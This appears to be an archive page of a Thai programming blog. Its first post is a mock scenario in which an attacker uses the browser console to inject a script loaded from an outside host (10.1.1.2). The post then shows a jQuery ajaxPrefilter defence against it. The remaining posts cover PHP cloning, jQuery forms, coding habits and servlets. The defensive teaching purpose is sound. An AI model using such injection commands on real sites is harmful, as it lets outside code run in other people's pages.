หลายท่านคงเคยได้ยินการใส่ script จากที่อื่น เพื่อทำการโจมตีเว็บไซต์ หรือการใส่ bot เข้ามาในหน้าของเราได้
มาดูเหตุการณ์สมมติกันเลยดีกว่า
At my server 10.1.1.1 test.php กำลังทำงานเวลา 11 นาฬิกา
// test.php
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<script type="text/javascript" src="../jquery/jquery_1.9.js"></script>
<script type="text/javascript">
function callpage(){
$.post('callpage.php',function(data){
alert(data);
});
}
</script>
</head>
</body>
<input type="button" onClick="callpage()" value="Test" />
</body>
</html>
// callpage.php
test
การทำงานง่ายๆ ครับ แค่คุณกดปุ่ม Test ก็จะเป็นการเรียก ajax request ไปหน้า callpage.php ซึ่งก็จะ return ข้อความ test กลับมาแสดงครับ
-------------- อีกสถานที่นึง -------------
เวลา 11.12 gamer เดินเข้าไปเพื่อจะสร้าง bot ยิง server โดยสร้าง script ของตัวเองขึ้นมาที่ 10.1.1.2
// outerscript.js
function callouterpage(){
alert('outerpage');
}
gamer : Wa ha ha ha ha หัวเราะอย่างชั่วร้าย คำว่า test มันเก่าไปเปลี่ยน ๆ
gamer : เปิด firebug console and key in
// command
$('head').append('<script src="http://10.1.1.2/bot/outerscript.js"></script>');
แค่นี่ข้าก็สามารถรันบอทที่เขียนไว้ได้แล้ว ho ho ho
gamer : callouterpage(); // ก็ alert('outerpage'); ออกมา โฮะๆๆ หมูจริงๆ งานนี้
--------------------------------------------------------------------------------------
ครับ และแล้วตัวร้ายก็ทำสำเร็จครับ 555 เป็นการแทรก script ที่ตัวเองเขียนแล้วเอาไปแทรกในหน้า page
มาป้องการเหตุการณ์นี้กันดีกว่าครับ
วันนี้มาแนะนำป้องกันโดย ajaxPrefilter ครับ ซึ่งทุกการ request จะต้องผ่าน Prefilter ก่อนถึงจะเข้าไปทำอะไรต่อได้ครับซึ่งเราสามารถดัดแปลงแก้ไขก่อนการ request ได้
$.ajaxPrefilter(function(options, originalOptions, jqXHR){
var token;
if(!options.crossDomain){
alert('not cross domain');
}else{
alert('cross domain');
options.url = ''; // reject โดยการเปลี่ยน url กลางอากาศครับ 555
}
});
มาดูเต็มๆ กันครับ
สถานการณ์ที่ server หลังจากแก้ไข
admin : 555 ลองเข้ามาอีกสิ ไม่มีวันได้แอ้มหรอก
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<script type="text/javascript" src="../jquery/jquery_1.9.js"></script>
<script type="text/javascript">
$.ajaxPrefilter(function(options, originalOptions, jqXHR){
var token;
if(!options.crossDomain){
alert('not cross domain');
}else{
alert('cross domain');
options.url = ''; // reject
}
});
function callpage(){
$.post('callpage.php',function(data){
alert(data);
});
}
</script>
</head>
</body>
<input type="button" onClick="callpage()" value="Test" />
</body>
</html>
------------ กลับมาที่ gamer ครับ ---------------
gamer : วันนี้ช้านก็จะทำอีก 555
gamer: ป้อน script
// command
$('head').append('<script src="http://10.1.1.2/bot/outerscript.js"></script>');
เอ๊ะ ทำไมขึ้น cross domain ช่างมัน
gamer : callouterpage(); // ReferenceError : callouterpage is not defined
gamer : เห้อ จบกัน
----------------------------------------------
และเหตุการณ์ก็จบลงเพียงเท่านี้ครับ
ลองไปจำลองเหตุการณ์แล้วลองเล่นกันดูครับ
ขอให้ทุกท่านปลอดภัยจาก cross site scripting ครับ
หากมี domain ที่ให้ผ่านได้ก็เช็คจาก options.url ได้นะครับ
อ้างอิง : http://api.jquery.com/jquery.ajaxprefilter/
Piti
วันจันทร์ที่ 17 มีนาคม พ.ศ. 2557
วันอาทิตย์ที่ 26 พฤษภาคม พ.ศ. 2556
PHP clone มาเรียนรู้การ clone object กันครับ
เกริ่นก่อน การ copy object ของ php จริงๆ หลายคนอาจจะนึกถึงอะไรน้อ
$a = $b; หรือว่า clone นั่นแหลครับที่จะมาพูดกัน มาดูแบบแรกกันเลย
1. ใส่เท่ากับกันตรง ๆ (direct equal)
class CopyMe {}
$first = new CopyMe();
$second = $first;
// PHP 4: $second กับ $first จะเป็น 2 object ที่อ้างอิง address คนละอันกันครับซึ่งคือคือคนละ object นั่นเอง
// PHP 5 : $second กับ $first จะถูกมองเป็น object เดียวกันครับ
ซึ่งวิธีนี้อาจจะทำให้เกิดความสับสนกันได้ มาดูวิธีที่ตั้งใจจะมาบอกกันดีกว่าครับ
2. ใช้ฟังก์ชั่น clone (clone function)
วันนี้จะมาเล่นกับ clone นั่นเอง ใครเคยใช้แล้วยกมือขึ้น โย่ว
class CopyMe {}
$first = new CopyMe();
$second = clone $first;
ในเคสนี้ จะได้ $second กับ $first จะเป็นคนละ object กันครับ ฟังก์ชั่น clone จะเป็นการ copy value จาก object นึงไปอีก object นึงครับ ซึ่ง address จะไม่ถูกนำมาด้วย
------------------------------------------------------------------------------------
เทคนิคต่อไป หากเรามีค่าที่ไม่อยากให้ติดมาด้วยหละ เช่น entity ของ database ที่มี $id ที่ไม่อยากให้นำค่ามาด้วย จะทำยังไงดีน้อ เรามีข้อเสนอคือการ overide หรือการเขียนทับ __clone() นั่นเอง มาดูกันเลย
class Person {
private $name;
private $age;
private $id;
function __construct( $name, $age ) {
$this->name = $name;
$this->age = $age;
}
function setId( $id ) {
$this->id = $id;
}
function __clone() {
$this->id = 0; // ทำการกำหนดค่า id ให้เป็น 0 เมื่อเกิดการ clone ครับ
}
}
$person = new Person( "me", 27 );
$person->setId( 343 );
$person2 = clone $person;
// $person2 :
// name: me
// age: 27
// id: 0
ง่ายมั้ยครับ
------------------------------------------------------------------------------------
เอา next step ต่อไปมาดูว่าถ้าใน object ของเรา reference ของ object อื่นด้วยหละ
class Account {
public $balance;
function __construct( $balance ) {
$this->balance = $balance;
}
}
class Person {
private $name;
private $age;
private $id;
public $account; // ตัวนี้เป็น Object ของ Account ครับ ซึ่งเมื่อถูก clone จะได้ reference ไป
function __construct( $name, $age, Account $account ) {
$this->name = $name;
$this->age = $age;
$this->account = $account;
}
function setId( $id ) {
$this->id = $id;
}
function __clone() {
$this->id = 0;
}
}
$person = new Person( "bob", 44, new Account( 200 ) );
$person->setId( 343 );
//เรามาเพิ่มเงินให้หน่อยดีกว่า คราวนี้คนแรกมีเงิน 210 บาทแล้ว
$person->account->balance += 10;
//เอ๊ะ ทำไมคนที่สองก็มีเงิน 210 บาทเหมือนกันเพราะเป็นการ copy reference มานั่นเอง
print $person2->account->balance;
------------------------------------------------------------------------------------
แก้โดย
function __clone() {
$this->id = 0;
$this->account = clone $this->account;
}
ใส่ clone ซ้ำใน __clone() ซะเลย แค่นี้ก็เรียบร้อยแล้ว
หวังว่าจะทำให้เกิดไอเดียใช้สนุก ๆ นะครับ
ความรู้จาก PHP Obejcts, Pattern and Practice (3rd)
$a = $b; หรือว่า clone นั่นแหลครับที่จะมาพูดกัน มาดูแบบแรกกันเลย
1. ใส่เท่ากับกันตรง ๆ (direct equal)
class CopyMe {}
$first = new CopyMe();
$second = $first;
// PHP 4: $second กับ $first จะเป็น 2 object ที่อ้างอิง address คนละอันกันครับซึ่งคือคือคนละ object นั่นเอง
// PHP 5 : $second กับ $first จะถูกมองเป็น object เดียวกันครับ
ซึ่งวิธีนี้อาจจะทำให้เกิดความสับสนกันได้ มาดูวิธีที่ตั้งใจจะมาบอกกันดีกว่าครับ
2. ใช้ฟังก์ชั่น clone (clone function)
วันนี้จะมาเล่นกับ clone นั่นเอง ใครเคยใช้แล้วยกมือขึ้น โย่ว
class CopyMe {}
$first = new CopyMe();
$second = clone $first;
ในเคสนี้ จะได้ $second กับ $first จะเป็นคนละ object กันครับ ฟังก์ชั่น clone จะเป็นการ copy value จาก object นึงไปอีก object นึงครับ ซึ่ง address จะไม่ถูกนำมาด้วย
------------------------------------------------------------------------------------
เทคนิคต่อไป หากเรามีค่าที่ไม่อยากให้ติดมาด้วยหละ เช่น entity ของ database ที่มี $id ที่ไม่อยากให้นำค่ามาด้วย จะทำยังไงดีน้อ เรามีข้อเสนอคือการ overide หรือการเขียนทับ __clone() นั่นเอง มาดูกันเลย
class Person {
private $name;
private $age;
private $id;
function __construct( $name, $age ) {
$this->name = $name;
$this->age = $age;
}
function setId( $id ) {
$this->id = $id;
}
function __clone() {
$this->id = 0; // ทำการกำหนดค่า id ให้เป็น 0 เมื่อเกิดการ clone ครับ
}
}
$person = new Person( "me", 27 );
$person->setId( 343 );
$person2 = clone $person;
// $person2 :
// name: me
// age: 27
// id: 0
ง่ายมั้ยครับ
------------------------------------------------------------------------------------
เอา next step ต่อไปมาดูว่าถ้าใน object ของเรา reference ของ object อื่นด้วยหละ
class Account {
public $balance;
function __construct( $balance ) {
$this->balance = $balance;
}
}
class Person {
private $name;
private $age;
private $id;
public $account; // ตัวนี้เป็น Object ของ Account ครับ ซึ่งเมื่อถูก clone จะได้ reference ไป
function __construct( $name, $age, Account $account ) {
$this->name = $name;
$this->age = $age;
$this->account = $account;
}
function setId( $id ) {
$this->id = $id;
}
function __clone() {
$this->id = 0;
}
}
$person = new Person( "bob", 44, new Account( 200 ) );
$person->setId( 343 );
//เรามาเพิ่มเงินให้หน่อยดีกว่า คราวนี้คนแรกมีเงิน 210 บาทแล้ว
$person->account->balance += 10;
//เอ๊ะ ทำไมคนที่สองก็มีเงิน 210 บาทเหมือนกันเพราะเป็นการ copy reference มานั่นเอง
print $person2->account->balance;
------------------------------------------------------------------------------------
แก้โดย
function __clone() {
$this->id = 0;
$this->account = clone $this->account;
}
ใส่ clone ซ้ำใน __clone() ซะเลย แค่นี้ก็เรียบร้อยแล้ว
หวังว่าจะทำให้เกิดไอเดียใช้สนุก ๆ นะครับ
ความรู้จาก PHP Obejcts, Pattern and Practice (3rd)
วันเสาร์ที่ 20 เมษายน พ.ศ. 2556
มาเล่นกับ Form ครับ (jQuery Form)
รู้สึกว่าตัวเองหายไปนานมาก นานจริงๆ ช่วงนี้อ่าน Android อยู่กับ บวกกับงานมากมายรุมเข้ามา 555
วันนี้เราจะมาพูดถึง Form ซึ่งเป็นสิ่งที่ทุกคนน่าจะรู้กับอยู่แล้ว และเราจะมาดูกันว่า jQuery จะมาช่วยอะไรเราได้บ้างครับ
เริ่มด้วยมาดูการเลือก element ใน Form เราดีกว่าว่าจะทำได้ยังไงบ้าง ซึ่งจะแยกออกเป็นสองอย่างครับ
1. การเลือกจากประเภท Element
ซึ่งสามารถทำได้โดยใช้ filter ครับ :text , :password , :radio , :checkbox , :submit , :button , :image , :file
เช่นหากเราอยากให้ text field ใน form เราทั้งหมดเปลี่ยนสี background เป็นสีเขียว ทำได้โดย
$('#myForm:text').css('background-color', 'green')
2. การเลือกจาก State
:enabled กับ :disabled ซึ่งจะดึง element ที่ enabled อยู่หรือ disabled อยู่นั่นเอง
:checked ใช้ในการหา checkbox หรือ radio ที่ถูกเลือกครับ ตัวอย่างครับ$(this).is(':checked')
:selected ใช้ในการเช็ค state ของ element option ที่ถูกเลือกครับ
ตัวอย่างโค้ดวันนี้ครับ
<!DOCTYPE html>
<html>
<head>
<style>
div { color:red; }
</style>
<script src="http://code.jquery.com/jquery-1.9.1.js"></script>
</head>
<body>
<select name="garden" multiple="multiple">
<option>Flowers</option>
<option selected="selected">Shrubs</option>
<option>Trees</option>
<option selected="selected">Bushes</option>
<option>Grass</option>
<option>Dirt</option>
</select>
<div></div>
<script>
$("select[name='garden']").change(function () {
var str = "";
$("select[name='garden'] option:selected").each(function () {
str += $(this).text() + " ";
});
$("div").text(str);
})
.trigger('change');
</script>
</body>
</html>
อธิบายโค้ด
Element Section
<select name="garden" multiple="multiple">
สร้าง select option ชื่อ garden ครับ
jQuery Event Section
$("select[name='garden']").change(function () {
var str = "";
$("select[name='garden'] option:selected").each(function () {
str += $(this).text() + " ";
});
$("div").text(str);
})
.trigger('change');
เมื่อ select option ที่มีชื่อ garden เกิดการเปลี่ยนแปลง ก็จะเข้า .change ซึ่งเป็นการ register onchange function ให้กับ select option ครับ
.each ใช้ในการวนเข้าไปหา element ทั้งหมดที่ jquery เลือกเจอครับ ซึ่งในโค้ดจะทำการดึงเอาค่าที่เลือกมาต่อกันและแสดงใน div ครับ ($("div").text(str);)
สุดท้าย .trigger('change'); เป็นคำสั่งเพื่อให้เกิดการเรียก onchange ตั้งแต่เริ่มการแสดงหน้าจอครับ
------------------------------------------------------------------------------------------
Today Tip
วันนี้ tip มาดู jQuery select แบบเต็มๆ ครับ $("div[id='header']") ซึ่งเป็นการเลือก div ที่มี id เท่ากับ header นั่นเอง
ซึ่งรูปย่อที่ชินตากันจะเป็น $(‘div#header’) ซึ่งรูปแบบเต็มๆ สามารถใช้ได้หลากหลายกว่าครับ เช่น $("div[name='header_name']") ก็ได้
และอีกตัวอย่าง ใช้กับ fileter ก็ได้นะครับ :radio[name=sex]
ลองใช้ดูครับ
ความรู้จาก jQuery Novice to Ninja Feb 2010 ขอบคุณคร้าบ
และ http://api.jquery.com
วันนี้เราจะมาพูดถึง Form ซึ่งเป็นสิ่งที่ทุกคนน่าจะรู้กับอยู่แล้ว และเราจะมาดูกันว่า jQuery จะมาช่วยอะไรเราได้บ้างครับ
เริ่มด้วยมาดูการเลือก element ใน Form เราดีกว่าว่าจะทำได้ยังไงบ้าง ซึ่งจะแยกออกเป็นสองอย่างครับ
1. การเลือกจากประเภท Element
ซึ่งสามารถทำได้โดยใช้ filter ครับ :text , :password , :radio , :checkbox , :submit , :button , :image , :file
เช่นหากเราอยากให้ text field ใน form เราทั้งหมดเปลี่ยนสี background เป็นสีเขียว ทำได้โดย
$('#myForm:text').css('background-color', 'green')
2. การเลือกจาก State
:enabled กับ :disabled ซึ่งจะดึง element ที่ enabled อยู่หรือ disabled อยู่นั่นเอง
:checked ใช้ในการหา checkbox หรือ radio ที่ถูกเลือกครับ ตัวอย่างครับ$(this).is(':checked')
:selected ใช้ในการเช็ค state ของ element option ที่ถูกเลือกครับ
ตัวอย่างโค้ดวันนี้ครับ
<!DOCTYPE html>
<html>
<head>
<style>
div { color:red; }
</style>
<script src="http://code.jquery.com/jquery-1.9.1.js"></script>
</head>
<body>
<select name="garden" multiple="multiple">
<option>Flowers</option>
<option selected="selected">Shrubs</option>
<option>Trees</option>
<option selected="selected">Bushes</option>
<option>Grass</option>
<option>Dirt</option>
</select>
<div></div>
<script>
$("select[name='garden']").change(function () {
var str = "";
$("select[name='garden'] option:selected").each(function () {
str += $(this).text() + " ";
});
$("div").text(str);
})
.trigger('change');
</script>
</body>
</html>
อธิบายโค้ด
Element Section
<select name="garden" multiple="multiple">
สร้าง select option ชื่อ garden ครับ
jQuery Event Section
$("select[name='garden']").change(function () {
var str = "";
$("select[name='garden'] option:selected").each(function () {
str += $(this).text() + " ";
});
$("div").text(str);
})
.trigger('change');
เมื่อ select option ที่มีชื่อ garden เกิดการเปลี่ยนแปลง ก็จะเข้า .change ซึ่งเป็นการ register onchange function ให้กับ select option ครับ
.each ใช้ในการวนเข้าไปหา element ทั้งหมดที่ jquery เลือกเจอครับ ซึ่งในโค้ดจะทำการดึงเอาค่าที่เลือกมาต่อกันและแสดงใน div ครับ ($("div").text(str);)
สุดท้าย .trigger('change'); เป็นคำสั่งเพื่อให้เกิดการเรียก onchange ตั้งแต่เริ่มการแสดงหน้าจอครับ
------------------------------------------------------------------------------------------
Today Tip
วันนี้ tip มาดู jQuery select แบบเต็มๆ ครับ $("div[id='header']") ซึ่งเป็นการเลือก div ที่มี id เท่ากับ header นั่นเอง
ซึ่งรูปย่อที่ชินตากันจะเป็น $(‘div#header’) ซึ่งรูปแบบเต็มๆ สามารถใช้ได้หลากหลายกว่าครับ เช่น $("div[name='header_name']") ก็ได้
และอีกตัวอย่าง ใช้กับ fileter ก็ได้นะครับ :radio[name=sex]
ลองใช้ดูครับ
ความรู้จาก jQuery Novice to Ninja Feb 2010 ขอบคุณคร้าบ
และ http://api.jquery.com
วันอาทิตย์ที่ 31 มีนาคม พ.ศ. 2556
Special Chapter : Programmer Behavior (My Behavior)
วันนี้ค่อยรู้สึกเหมือนการเขียน blog จริงๆ ซะที ก็พูดถึงตัวเองนี่เนอะ
วันนี้จะมาเล่าถึงพฤติกรรมของโปรแกรมเมอร์หรือตัวผมนั่นเอง เอาตัวเองเป็นกลุ่มตัวอย่าง เหมือนพวกโพลต่าง ๆ ไง
วันนี้จะมาเขียนแต่ในด้านที่ดีนะครับ เสนอแนะได้ คุยเล่นได้ กวนได้ ไม่ซีเรียสครับ ผมไม่คิดมาก
มาข้อแรก 1. การเขียนโปรแกรมต้องมองจุดมุ่งหมายเป็นสำคัญ
เวลาผมเขียนโปรแกรมหรืออ่าน spec ที่ทาง SA เขียนมาให้ หรือที่ลูกค้าให้ก็ตาม ผมก็จะพยายามอ่านจุดมุ่งหมายของคนที่ให้มาให้เคลียร์ หรือถ้าไม่เคลียร์ก็ต้องถามให้เคลียร์ คือถ้าเราเข้าใจจุดมุ่งหมายแล้ว เราก็จะสามารถเข้าใจความคิดว่าที่ทำเพื่ออะไร ซึ่งจะทำให้เราสามารถเสนอสิ่งที่ดีกว่า หรือแก้ไขให้มันดีขึ้นได้ ซึ่งเป็นสิ่งสำคัญที่จะได้ไม่ต้องทำงานหลายรอบ ปัญหาส่วนใหญ่ที่เราต้องแก้งานเรื่อย ๆ เนื่องจากไม่พยายามทำความเข้าใจจุดมุ่งหมาย แต่พยายามทำตาม spec ที่ให้มาโดยคิดว่าอยากได้ก็ทำให้โดยคิดว่าเราไม่ผิดเค้าให้มาผิดก็เป็นความผิดของเค้า ซึ่งสุดท้ายแล้ว เราก็ต้องแก้อยู่ดี เพราะฉะนั้นพยายามทำให้ดีที่สุด หากเข้าใจจุดมุ่งหมายที่ชัดเจนแล้ว จากงาน 100 เราจะทำได้ 120 – 200 เพราะว่าเราจะสามารถเขียนโปรแกรมเพื่อรองรับอนาคตที่จะเกิดขึ้นต่อจากนั้นได้อีก (เห็นด้วย กด 1, ไม่เห็นด้วย กด 2)
2. ใช้ google และต้องทำความเข้าใจ google
เอ่อ ตัวผมหรือหลาย ๆ คนก็ติด google ครับ เพราะมันบอกเราได้ทุกอย่าง เวลาเอาโค้ดชาวบ้านมา ตัวผมก็จะพยายามทำความเข้าใจว่า ทำไมเค้าถึงทำแบบนั้น ผมไมถึงได้ผลแบบนั้น ก็จะพยายาม comment บรรทัดโน้น แก้บรรทัดนี้ และดูผลลัพธ์ที่ออกมา เพราะส่วนใหญ่แล้วโค้ดที่ได้มา จะเอามาใช้ได้ซัก 70 ส่วน แต่หากเราพยายามทำความเข้าใจเราจะได้ความรู้เพิ่มมาอีกมากมายครับ เพราะการดูโค้ดคนอื่น ทำให้เราได้แนวคิดในการประยุกต์แบบใหม่ ๆ เกิดขึ้นมา โค้ดที่ผิด และที่ถูก ก็ให้ความรู้กับผมได้เสมอครับ ตัวอย่างความรู้ที่ได้ !important โอ้ตอนเห็นครั้งแรกมันใช้ทำอะไรน้อ พอเอามาใช้แล้วโอ้ อ้าว สุโค่ย ใครยังไม่รู้ก็ถาม google นะครับ เพราะคราวนี้ไม่ได้สอนอะไรครับ 555
3. ปัญหาคือพลังของโปรแกรมเมอร์
ผมเคยทำโปรแกรมที่ไม่ต้องคิดอะไรเลย แค่สร้างฟิลด์ เพื่อเป็น Object สำหรับสร้างรายงาน ซึ่งทำซ้ำๆ เยอะมากๆๆ ซึ่งยังเป็นอะไรที่น่าเบื่อมาก เรียบง่าย ไม่มีอะไรเลย ซึ่งแทบจะหลับตาพิมพ์เลยครับ 555 (ผมหลับตาพิมพ์ได้ถูกมากกว่าลืมตาครับ) แต่เวลาที่สนุกที่สุดคือเจอบั๊ค มีปัญหา ช่วยดูหน่อย คำพวกนี้เวลาผมได้ยินจะกระดี๊กระด๊ามาก 555 แบบว่ารอมาตั้งนานแล้ว และจะ switch ไปหาปัญหาทันที คนอื่นลุกลน แต่ผมเหมือนได้เจอของเล่น ตื่นทันทีทันใดเลย ไม่รู้ผมเป็นคนเดียวรึเปล่าน้อ มาแชร์กันได้ครับ
4. สิ่งที่ลำบากใจมากที่สุดและสำคัญที่สุดคือการตั้งชื่อ
ชื่อของสิ่งต่าง ๆ ไม่ว่าคลาส ตัวแปร ชื่อฟิลด์ ชื่อฟังก์ชั่น ผมว่าเป็นสิ่งที่สำคัญที่สุดเลยนะ เพราะหากทำไว้ดีการแก้ไขก็จะสามารถทำได้สบายมาก พยายามตั้งให้เป็นรูปแบบเดียวกัน เช่นอะไรที่ใช้ในการค้นหาผมก็จะลงท้ายด้วย Cond อะไรที่เป็นอาเรย์ก็จะตั้งเป็น Arr ส่วนเป็นการติดต่อกับ database ก็จะเป็น DAO (Data Access Object) นั่นเองครับ ซึ่งหากเห็นแค่คำลงท้ายเราก็จะมองเห็นค่าที่อยู่ด้านในทันที หรืออะไรที่เป็นชั้น ๆ ก็จะเป็น Main, Sub1, Sub2 ไปเรื่อย ๆ หรือแม้กระทั่งส่วนที่เป็นชื่อจริง ๆ ก็ตั้งให้สื่อกับตัวมัน คำไหนที่เห็นแล้วก็ต้องอ๋อตัวนั้นนั่นเอง 555
5. อะไรที่ต้องทำซ้ำ ๆ กันหรือใช้ชื่อแบบเดียวกัน ให้ทำเป็น Class ซะ
อันนี้เป็นแนวคิดที่ว่าในหน้าต่างๆ บางหน้าหรือหลายหน้าอาจจะมีการทำงานที่คล้าย ๆ กัน เหรือแตกต่างกันบางส่วน เช่นการดึงข้อมูล การนำข้อมูลในใส่ในหน้าเวป ซึ่งการทำงานมันจะคล้ายๆ กันแต่ข้อมูลที่ดึงมาได้จะไม่เหมือนกัน อยากใช้ชื่อเดียวกัน ทำไงดี ซึ่งผมก็แยกออกเป็นคนละคลาสทันที โดยมีเมธอดชื่อเดียวกัน copy ไปและเปลี่ยนชื่อ class และการทำงานนิด ๆ หน่อย ๆ ก็เรียบร้อยครับ หากเป็น javascript ก็ทำการ new Object(); มาใช้ทันทีครับ
คราวนี้ 5 ข้อก่อนนะครับ เหนื่อยและ เห็นด้วยไม่เห็นด้วยหรืออยากจะเถียงหรือเพิ่มเติมข้อไหนก็บอกมาได้ครับ เผื่อจะได้แนวคิดใหม่ ๆ
วันนี้จะมาเล่าถึงพฤติกรรมของโปรแกรมเมอร์หรือตัวผมนั่นเอง เอาตัวเองเป็นกลุ่มตัวอย่าง เหมือนพวกโพลต่าง ๆ ไง
วันนี้จะมาเขียนแต่ในด้านที่ดีนะครับ เสนอแนะได้ คุยเล่นได้ กวนได้ ไม่ซีเรียสครับ ผมไม่คิดมาก
มาข้อแรก 1. การเขียนโปรแกรมต้องมองจุดมุ่งหมายเป็นสำคัญ
เวลาผมเขียนโปรแกรมหรืออ่าน spec ที่ทาง SA เขียนมาให้ หรือที่ลูกค้าให้ก็ตาม ผมก็จะพยายามอ่านจุดมุ่งหมายของคนที่ให้มาให้เคลียร์ หรือถ้าไม่เคลียร์ก็ต้องถามให้เคลียร์ คือถ้าเราเข้าใจจุดมุ่งหมายแล้ว เราก็จะสามารถเข้าใจความคิดว่าที่ทำเพื่ออะไร ซึ่งจะทำให้เราสามารถเสนอสิ่งที่ดีกว่า หรือแก้ไขให้มันดีขึ้นได้ ซึ่งเป็นสิ่งสำคัญที่จะได้ไม่ต้องทำงานหลายรอบ ปัญหาส่วนใหญ่ที่เราต้องแก้งานเรื่อย ๆ เนื่องจากไม่พยายามทำความเข้าใจจุดมุ่งหมาย แต่พยายามทำตาม spec ที่ให้มาโดยคิดว่าอยากได้ก็ทำให้โดยคิดว่าเราไม่ผิดเค้าให้มาผิดก็เป็นความผิดของเค้า ซึ่งสุดท้ายแล้ว เราก็ต้องแก้อยู่ดี เพราะฉะนั้นพยายามทำให้ดีที่สุด หากเข้าใจจุดมุ่งหมายที่ชัดเจนแล้ว จากงาน 100 เราจะทำได้ 120 – 200 เพราะว่าเราจะสามารถเขียนโปรแกรมเพื่อรองรับอนาคตที่จะเกิดขึ้นต่อจากนั้นได้อีก (เห็นด้วย กด 1, ไม่เห็นด้วย กด 2)
2. ใช้ google และต้องทำความเข้าใจ google
เอ่อ ตัวผมหรือหลาย ๆ คนก็ติด google ครับ เพราะมันบอกเราได้ทุกอย่าง เวลาเอาโค้ดชาวบ้านมา ตัวผมก็จะพยายามทำความเข้าใจว่า ทำไมเค้าถึงทำแบบนั้น ผมไมถึงได้ผลแบบนั้น ก็จะพยายาม comment บรรทัดโน้น แก้บรรทัดนี้ และดูผลลัพธ์ที่ออกมา เพราะส่วนใหญ่แล้วโค้ดที่ได้มา จะเอามาใช้ได้ซัก 70 ส่วน แต่หากเราพยายามทำความเข้าใจเราจะได้ความรู้เพิ่มมาอีกมากมายครับ เพราะการดูโค้ดคนอื่น ทำให้เราได้แนวคิดในการประยุกต์แบบใหม่ ๆ เกิดขึ้นมา โค้ดที่ผิด และที่ถูก ก็ให้ความรู้กับผมได้เสมอครับ ตัวอย่างความรู้ที่ได้ !important โอ้ตอนเห็นครั้งแรกมันใช้ทำอะไรน้อ พอเอามาใช้แล้วโอ้ อ้าว สุโค่ย ใครยังไม่รู้ก็ถาม google นะครับ เพราะคราวนี้ไม่ได้สอนอะไรครับ 555
3. ปัญหาคือพลังของโปรแกรมเมอร์
ผมเคยทำโปรแกรมที่ไม่ต้องคิดอะไรเลย แค่สร้างฟิลด์ เพื่อเป็น Object สำหรับสร้างรายงาน ซึ่งทำซ้ำๆ เยอะมากๆๆ ซึ่งยังเป็นอะไรที่น่าเบื่อมาก เรียบง่าย ไม่มีอะไรเลย ซึ่งแทบจะหลับตาพิมพ์เลยครับ 555 (ผมหลับตาพิมพ์ได้ถูกมากกว่าลืมตาครับ) แต่เวลาที่สนุกที่สุดคือเจอบั๊ค มีปัญหา ช่วยดูหน่อย คำพวกนี้เวลาผมได้ยินจะกระดี๊กระด๊ามาก 555 แบบว่ารอมาตั้งนานแล้ว และจะ switch ไปหาปัญหาทันที คนอื่นลุกลน แต่ผมเหมือนได้เจอของเล่น ตื่นทันทีทันใดเลย ไม่รู้ผมเป็นคนเดียวรึเปล่าน้อ มาแชร์กันได้ครับ
4. สิ่งที่ลำบากใจมากที่สุดและสำคัญที่สุดคือการตั้งชื่อ
ชื่อของสิ่งต่าง ๆ ไม่ว่าคลาส ตัวแปร ชื่อฟิลด์ ชื่อฟังก์ชั่น ผมว่าเป็นสิ่งที่สำคัญที่สุดเลยนะ เพราะหากทำไว้ดีการแก้ไขก็จะสามารถทำได้สบายมาก พยายามตั้งให้เป็นรูปแบบเดียวกัน เช่นอะไรที่ใช้ในการค้นหาผมก็จะลงท้ายด้วย Cond อะไรที่เป็นอาเรย์ก็จะตั้งเป็น Arr ส่วนเป็นการติดต่อกับ database ก็จะเป็น DAO (Data Access Object) นั่นเองครับ ซึ่งหากเห็นแค่คำลงท้ายเราก็จะมองเห็นค่าที่อยู่ด้านในทันที หรืออะไรที่เป็นชั้น ๆ ก็จะเป็น Main, Sub1, Sub2 ไปเรื่อย ๆ หรือแม้กระทั่งส่วนที่เป็นชื่อจริง ๆ ก็ตั้งให้สื่อกับตัวมัน คำไหนที่เห็นแล้วก็ต้องอ๋อตัวนั้นนั่นเอง 555
5. อะไรที่ต้องทำซ้ำ ๆ กันหรือใช้ชื่อแบบเดียวกัน ให้ทำเป็น Class ซะ
อันนี้เป็นแนวคิดที่ว่าในหน้าต่างๆ บางหน้าหรือหลายหน้าอาจจะมีการทำงานที่คล้าย ๆ กัน เหรือแตกต่างกันบางส่วน เช่นการดึงข้อมูล การนำข้อมูลในใส่ในหน้าเวป ซึ่งการทำงานมันจะคล้ายๆ กันแต่ข้อมูลที่ดึงมาได้จะไม่เหมือนกัน อยากใช้ชื่อเดียวกัน ทำไงดี ซึ่งผมก็แยกออกเป็นคนละคลาสทันที โดยมีเมธอดชื่อเดียวกัน copy ไปและเปลี่ยนชื่อ class และการทำงานนิด ๆ หน่อย ๆ ก็เรียบร้อยครับ หากเป็น javascript ก็ทำการ new Object(); มาใช้ทันทีครับ
คราวนี้ 5 ข้อก่อนนะครับ เหนื่อยและ เห็นด้วยไม่เห็นด้วยหรืออยากจะเถียงหรือเพิ่มเติมข้อไหนก็บอกมาได้ครับ เผื่อจะได้แนวคิดใหม่ ๆ
วันอังคารที่ 26 มีนาคม พ.ศ. 2556
JAVEEE : Servlet Part 6 Servlet Responsibility
Servlet วันนี้มาคุยกันแบบชิวๆ ครับ ใครว่า Servlet ของเราควรจะอยู่ตรงไหนของโปรแกรมกันแน่ครับ
Servlet คุณลักษณะหลักๆ จะเป็น java class ที่ไม่ได้มี html tag ใดๆ ทั้งสิ้น เพราะฉะนั้น ..... ปิ๊งป่องใช่แล้วครับ ใช้ในการทำงานหรือเรียกว่า controller ใน model ของ MVC นั่นเอง ด้วยเหตุที่ว่า servlet ไม่ได้ถูกเจาะจงให้แสดงผลเป็น html แต่เจาะจงให้เป็นอะไรก็ได้ที่ทำงานอยู่เบื้องหลัง เช่นการติดต่อ database การบันทึก log ของระบบ นั่นก็คืออะไรที่ไม่แสดงออกทางเว็บก็โยนให้ Servlet ทำให้หมดครับ
- ติดต่อ Database เพื่อทำการดึงข้อมูล
- เก็บ log ของคนใช้งาน
- download File
- export รายงานต่าง ๆ
ข้อ 2 Servlet เป็น Server Side Script ใครอธิบายได้บ้าง........... เอ่อ อ่าาา อ่าฮะ โอเคหมดเวลา ทุกคนตอบถูกครับ ความหมายของมันคือ Server Side Script ก็คือ Script ที่รันอยู่ฝั่ง Server นั่นเอง ซึ่งหากเราอ้าง File file = new File("d:/test"); นั้นก็คือ drive "d:/test" ที่อยู่บนเครื่อง Server ที่ Application ของเรารันอยู่นั่นเองครับ ซึ่งสิ่งที่ต้องตระหนักก็คือ คนที่เข้าึถึง resource ของฝั่ง server คือ Web Application ครับ สิทธิจึงเท่ากับ User ที่เป็นเจ้าของ service นั่นเอง
